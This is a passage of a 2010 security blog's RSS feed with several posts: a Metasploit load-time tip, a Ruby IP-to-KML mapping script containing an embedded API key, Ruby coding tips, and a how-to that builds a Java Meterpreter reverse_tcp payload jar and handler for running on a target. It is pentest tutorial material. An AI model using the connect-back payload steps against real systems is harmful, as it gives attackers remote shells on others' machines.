ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 1 exploits - 0 auxiliary
+ -- --=[ 1 payloads - 0 encoders - 0 nops
       =[ svn r10985 updated today (2010.11.11)

resource (exit.rc)&gt; exit
resource (exit.rc)&gt; exit

real	0m12.232s
user	0m11.340s
sys	0m0.510s&lt;/pre&gt;
</pre> <span style="font-size:11.6667px;"><br />
</span> <span style="font-size:11.6667px;">Not huge, but definitely an improvement.</span></pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hexesec.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hexesec.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hexesec.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hexesec.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/381/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/381/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/381/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=381&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2010/11/12/loading-only-the-metasploit-modules-you-use/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>IP List to KML generator (Create a google map from a list of IPs)</title>
		<link>http://hexesec.wordpress.com/2010/11/11/ip-list-to-kml-generator-create-a-google-map-from-a-list-of-ips/</link>
		<comments>http://hexesec.wordpress.com/2010/11/11/ip-list-to-kml-generator-create-a-google-map-from-a-list-of-ips/#comments</comments>
		<pubDate>Thu, 11 Nov 2010 03:39:57 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.0x0e.org/?p=375</guid>
		<description><![CDATA[Pretty simple, it takes a file with a list of ips, one/line and generates a kml file. Very handy if you&#8217;re working on a large pentest and want to track down (and visualize) where a particular host is located. It uses the Yahoo GeoIP API to grab location data.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=375&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Pretty simple, it takes a file with a list of ips, one/line and generates a kml file. Very handy if you&#8217;re working on a large pentest and want to track down (and visualize) where a particular host is located. It uses the Yahoo GeoIP API to grab location data.</p>
<p><pre class="brush: plain;">
#!/usr/bin/ruby

require 'net/http'
require 'rexml/document'

include REXML

def getAddress(ip)
#takes an ip and returns an xml blob with city/state
# example: http://ipinfodb.com/ip_query.php?ip=65.23.23.33
 url = &quot;http://ipinfodb.com/ip_query.php?ip=&quot; + ip
 #puts &quot;DEBUG: URL: #{url.to_s}&quot;
 resp = Net::HTTP.get(URI.parse(url))
 #print &quot;DEBUG: got &quot; + resp
return resp
end

def getCoordinates(address)
#takes a hash with city, state address and returns a hash w/ coords
url = &quot;http://local.yahooapis.com/MapsService/V1/geocode&quot;
 params = {
 &quot;appid&quot; =&gt; &quot;GwLDY.bV34HH7gkBDs97p_5U5P_tBfXBnfDyYFwpTRLwZDEvgj8BOQqws1JOCFPyhTQR&quot;,
 &quot;street&quot; =&gt; &quot;&quot;,
 &quot;city&quot; =&gt; address[&quot;city&quot;],
 &quot;state&quot; =&gt; address[&quot;state&quot;]
 }
 #puts &quot;DEBUG: URL: #{url.to_s}&quot;
 resp = Net::HTTP.post_form(URI.parse(url), params)
 resp_text = resp.body
 #print &quot;DEBUG: got &quot; + resp_text
return resp_text
end

def parseAddress(xml)
#takes an xml blob with city / state &amp; returns a hash with address,city,state
 doc = Document.new xml
 root = doc.root

 city = root.elements[&quot;City&quot;].get_text.to_s
 state = root.elements[&quot;RegionName&quot;].get_text.to_s
 country = root.elements[&quot;CountryCode&quot;].get_text.to_s

 #puts &quot;DEBUG: city: &quot; + city
 #puts &quot;DEBUG: state: &quot; + state
 #puts &quot;DEBUG: country: &quot; + country

 toReturn = Hash[&quot;city&quot; =&gt; city, &quot;state&quot; =&gt; state, &quot;country&quot; =&gt; country]
 return toReturn
end

def parseCoordinates(xml)
#takes an xml blob with coordinates &amp; returns a hash with long/lat
 doc = REXML::Document.new xml
 root = doc.root

 long = REXML::XPath.first( doc, &quot;//Longitude&quot; ).get_text.to_s
 lat = REXML::XPath.first( doc, &quot;//Latitude&quot; ).get_text.to_s

 toReturn = Hash[&quot;long&quot; =&gt; long, &quot;lat&quot; =&gt; lat]

 #puts &quot;DEBUG: long: &quot; + long
 #puts &quot;DEBUG: lat: &quot; + lat

 return toReturn
end

def genKML(ips)
 kml = &quot;&quot;
 kml = kml + &quot;&lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;UTF-8\&quot;?&gt;\n&quot;
 kml = kml + &quot;&lt;kml xmlns=\&quot;http://www.opengis.net/kml/2.2\&quot;&gt;\n&quot;
 kml = kml + &quot;&lt;Document&gt;\n&quot;
 ips.each do |ip|
 ip = ip.to_s.chomp
 kmlplacemark = mip(ip,&quot;error.log&quot;)

 if kmlplacemark.to_s != &quot;&quot; then
 #        puts &quot;DEBUG: adding non-blank placemark&quot; + kmlplacemark
 kml = kml + kmlplacemark
 else
 #        puts &quot;DEBUG: unable to map ip: &quot; + ip + &quot;\n&quot;
 end
 end

 kml = kml + &quot;&lt;/Document&gt;\n&quot;
 kml = kml + &quot;&lt;/kml&gt;\n&quot;
end

def genPlacemark(ip,address,coordinates)
 xml = &quot;&quot;
 xml = xml + &quot;    &lt;Placemark&gt;\n&quot;
 xml = xml + &quot;        &lt;name&gt;&quot; + ip + &quot;&lt;/name&gt;\n&quot;
 xml = xml + &quot;        &lt;description&gt;&quot;
 xml = xml + address[&quot;city&quot;] + &quot;, &quot;
 xml = xml + address[&quot;state&quot;] + &quot;, &quot;
 xml = xml + address[&quot;country&quot;]
 xml = xml + &quot;&lt;/description&gt;\n&quot;
 xml = xml + &quot;        &lt;Point&gt;\n&quot;
 xml = xml + &quot;            &lt;coordinates&gt;&quot; +
 coordinates[&quot;long&quot;]  + &quot;,&quot; +
 coordinates[&quot;lat&quot;] + &quot;,0&lt;/coordinates&gt;\n&quot;
 xml = xml + &quot;        &lt;/Point&gt;\n&quot;
 xml = xml + &quot;    &lt;/Placemark&gt;\n&quot;
end


def mip(ip,errorfile)
 begin
 if (ip != &quot;&quot;) then
 xmlAddress = getAddress(ip)
 objAddress = parseAddress(xmlAddress)

 if (objAddress[&quot;state&quot;] != &quot;&quot;) then
 xmlCoordinates = getCoordinates(objAddress)
 objCoordinates = parseCoordinates(xmlCoordinates)

 kmlplacemark = genPlacemark(ip,objAddress,objCoordinates)
 else
 File.open(errorfile, 'w') {|f| f.write(ip) }

 end
 end
 rescue
 kmlplacemark = &quot;&quot;
 end

return kmlplacemark
end

def mips(file)
 counter = 0
 ips = Array.new

 File.open(file, &quot;r&quot;) do |infile|

 while (line = infile.gets)
 #puts &quot;mapping #{counter}: #{line}&quot;

 ips[counter] = line

 counter = counter + 1
 end
 end
 kml = genKML(ips)
 return kml
end


kml = mips(ARGV[0])
out = File.new(ARGV[0]+&quot;.kml&quot;, &quot;w&quot;)
out.puts kml
</pre></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/375/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/375/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/375/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/375/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hexesec.wordpress.com/375/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hexesec.wordpress.com/375/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hexesec.wordpress.com/375/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hexesec.wordpress.com/375/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/375/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/375/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/375/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/375/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/375/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/375/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=375&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2010/11/11/ip-list-to-kml-generator-create-a-google-map-from-a-list-of-ips/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>Metasploit HowTo: Standalone Java Meterpreter Connect-Back</title>
		<link>http://hexesec.wordpress.com/2010/10/17/364/</link>
		<comments>http://hexesec.wordpress.com/2010/10/17/364/#comments</comments>
		<pubDate>Sun, 17 Oct 2010 23:41:20 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[howto]]></category>
		<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://blog.0x0e.org/2010/10/17/364/</guid>
		<description><![CDATA[Here are some quick notes on how to create a connect-back Java Meterpreter .jar file. The process is very straightforward, simply generate the .jar, setup a handler. Then move the .jar to your target &#38; execute it. Note! Nightranger&#8217;s method to do this is currently out of date (10/17/2010). Following mihi&#8217;s instructions, create the payload: [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=364&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Here are some quick notes on how to create a connect-back Java Meterpreter .jar file. The process is very straightforward, simply generate the .jar, setup a handler. Then move the .jar to your target &amp; execute it.</p>
<p>Note! <a href="http://exploit.co.il/hacking/metasploit-java-meterpreter-payload/">Nightranger&#8217;s method</a> to do this is currently out of date (10/17/2010).</p>
<p>Following <a href="https://www.metasploit.com/redmine/issues/2894">mihi&#8217;s instructions</a>, create the payload:</p>
<blockquote><p><pre class="brush: bash;">
msf exploit(java_signed_applet) &gt; use test/java_tester
msf exploit(java_tester) &gt; set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(java_tester) &gt; set LHOST 10.0.0.11
msf exploit(java_tester) &gt; set LPORT 4444
msf exploit(java_tester) &gt; exploit
[*] Started reverse handler on 10.0.0.11:4444
[*] Sending stage (26938 bytes) to 10.0.0.11
[*] Meterpreter session 1 opened (10.0.0.11:4444 -&gt; 10.0.0.11:60519) at 2010-10-17 17:50:29 -0500
^C
[*] Exploit completed, but no session was created.
msf exploit(java_tester) &gt; [*] Meterpreter session 1 closed.  Reason: Died
msf exploit(java_tester) &gt; ls
payload.jar
</pre></p></blockquote>
<p>now, set up the handler:</p>
<blockquote><p><pre class="brush: bash;">
msf exploit(java_tester) &gt; use exploit/multi/handler
msf exploit(handler) &gt; set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(handler) &gt; set LHOST 10.0.0.11
msf exploit(handler) &gt; set LPORT 4444
msf exploit(handler) &gt; exploit -j
[*] Exploit running as background job.
</pre></p></blockquote>
<p>copy the payload to the target &amp; run it, and you&#8217;re golden. no need to fiddle with classpath or anything, the loader jar is self-contained.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/364/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/364/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/364/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/364/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hexesec.wordpress.com/364/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hexesec.wordpress.com/364/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hexesec.wordpress.com/364/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hexesec.wordpress.com/364/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/364/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/364/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/364/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/364/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/364/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/364/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=364&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2010/10/17/364/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>searching ruby source code</title>
		<link>http://hexesec.wordpress.com/2010/07/19/in-search-of-the-ruby-cub/</link>
		<comments>http://hexesec.wordpress.com/2010/07/19/in-search-of-the-ruby-cub/#comments</comments>
		<pubDate>Mon, 19 Jul 2010 16:21:30 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[utility]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[searching]]></category>
		<category><![CDATA[simple]]></category>

		<guid isPermaLink="false">http://blog.0x0e.org/?p=358</guid>
		<description><![CDATA[contributing to open source? need to search &#38; understand ruby code faster? This bash function should save you some time. I use it atleast 50-60 times a day. Stick this in your .bashrc: Use like: $ rgrep &#8220;something&#8221;<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=358&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>contributing to open source? need to search  &amp; understand ruby code faster? This bash function should save you some time. I use it atleast 50-60 times a day.</p>
<p>Stick this in your .bashrc:<br />
<pre class="brush: bash;">
function rgrep() {
   find -L . -type f -name \*.rb -exec grep -n -i -H --color &quot;$1&quot; {} \;
}
</pre></p>
<p>Use like:     $ rgrep &#8220;something&#8221;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hexesec.wordpress.com/358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hexesec.wordpress.com/358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hexesec.wordpress.com/358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hexesec.wordpress.com/358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/358/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/358/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/358/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=358&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2010/07/19/in-search-of-the-ruby-cub/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>ruby hash per-value defaults</title>
		<link>http://hexesec.wordpress.com/2010/07/19/ruby-hash-per-value-defaults/</link>
		<comments>http://hexesec.wordpress.com/2010/07/19/ruby-hash-per-value-defaults/#comments</comments>
		<pubDate>Mon, 19 Jul 2010 16:12:14 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.0x0e.org/?p=354</guid>
		<description><![CDATA[Here&#8217;s a quick tip for assigning default values with a ruby hash. It&#8217;s well publicized that you can set an overall default (i think this is called &#8220;default assignment&#8221;) for the hash with the .default method like this (stolen directly from the rubydocs): But you can also set per-key defaults using the or-operator. if an [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=354&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s a quick tip for assigning default values with a ruby hash. It&#8217;s well publicized that you can set an overall default (i think this is called &#8220;default assignment&#8221;) for the hash with the .default method like this (stolen directly from the rubydocs):</p>
<p><pre class="brush: ruby;">
h = Hash.new                            #=&gt; {}
   h.default                               #=&gt; nil
   h.default(2)                            #=&gt; nil

   h = Hash.new(&quot;cat&quot;)                     #=&gt; {}
   h.default                               #=&gt; &quot;cat&quot;
   h.default(2)                            #=&gt; &quot;cat&quot;

   h = Hash.new {|h,k| h[k] = k.to_i*10}   #=&gt; {}
   h.default                               #=&gt; 0
   h.default(2)                            #=&gt; 20&lt;/pre&gt;
</pre></p>
<p>But you can also set per-key defaults using the or-operator. if an assigned value is false, or nil, you&#8217;ll get the default value. See below:<br />
<pre class="brush: ruby;">
ruby-1.9.1-p378 &gt; x = {}
=&gt; value: {}
ruby-1.9.1-p378 &gt; x[:y] = &quot;y&quot;
=&gt; value: &quot;y&quot;
ruby-1.9.1-p378 &gt; x[:y]
=&gt; value: &quot;y&quot;
ruby-1.9.1-p378 &gt; x[:y] = &quot;y&quot; || &quot;noty&quot;
=&gt; value: &quot;y&quot;
ruby-1.9.1-p378 &gt; x[:y]
=&gt; value: &quot;y&quot;
ruby-1.9.1-p378 &gt; x[:y] = nil || &quot;noty&quot;
=&gt; value: &quot;noty&quot;
ruby-1.9.1-p378 &gt; x[:y] = false || &quot;noty&quot;
=&gt; value: &quot;noty&quot;
ruby-1.9.1-p378 &gt; x[:y] = &quot;&quot; || &quot;noty&quot;
=&gt; value: &quot;&quot;
</pre></p>
<p>&#8230; Note that or-assignment doesn&#8217;t work in this case:<br />
<pre class="brush: ruby;">
ruby-1.9.1-p378 &gt; x[:y] = &quot;&quot; ||= &quot;noty&quot;
SyntaxError: (irb):19: syntax error, unexpected tOP_ASGN, expecting $end
x[:y] = &quot;&quot; ||= &quot;noty&quot;
^
from /home/jcran/.rvm/rubies/ruby-1.9.1-p378/bin/irb:17:in `&lt;main&gt;'
ruby-1.9.1-p378 &gt;
</pre></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hexesec.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hexesec.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hexesec.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hexesec.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/354/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/354/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/354/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=354&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2010/07/19/ruby-hash-per-value-defaults/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
	</channel>
</rss>
